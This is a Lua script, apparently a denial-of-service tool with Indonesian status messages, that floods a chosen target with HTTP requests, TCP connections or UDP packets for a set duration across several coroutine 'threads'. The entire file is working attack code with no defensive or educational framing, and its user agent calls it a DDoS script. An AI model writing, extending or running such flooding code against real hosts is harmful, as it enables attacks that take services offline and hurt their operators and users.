local socket = require("socket") local http = require("socket.http") local ltn12 = require("ltn12") function attack(method, target, duration, threads) local end_time = socket.gettime() + duration print("Memulai serangan "..method.." ke "..target.." selama "..duration.." detik dengan "..threads.." threads.") local function http_flood() while socket.gettime() < end_time do local response = {} local ok, err = pcall(function() http.request{ url = target, sink = ltn12.sink.table(response), headers = {["User-Agent"] = "Mozilla/5.0 (DDOS Lua Script)"} } end) end end local function tcp_flood() while socket.gettime() < end_time do local sock = socket.tcp() sock:settimeout(0.5) local success, err = sock:connect(target, 80) if success then sock:send(string.rep("X", 1024)) sock:close() else sock:close() end end end local function udp_flood() while socket.gettime() < end_time do local sock = socket.udp() sock:settimeout(0.5) sock:setpeername(target, 80) sock:send(string.rep("Y", 1024)) sock:close() end end local threads_list = {} for i=1, threads do if method == "http" then threads_list[i] = coroutine.create(http_flood) elseif method == "tcp" then threads_list[i] = coroutine.create(tcp_flood) elseif method == "udp" then threads_list[i] = coroutine.create(udp_flood) elseif method == "combo" then threads_list[i] = coroutine.create(function() while socket.gettime() < end_time do tcp_flood() udp_flood() end end) else print("Metode tidak dikenali: "..method) return end end while socket.gettime() < end_time do for i=1, threads do coroutine.resume(threads_list[i]) end end print("Serangan selesai!") end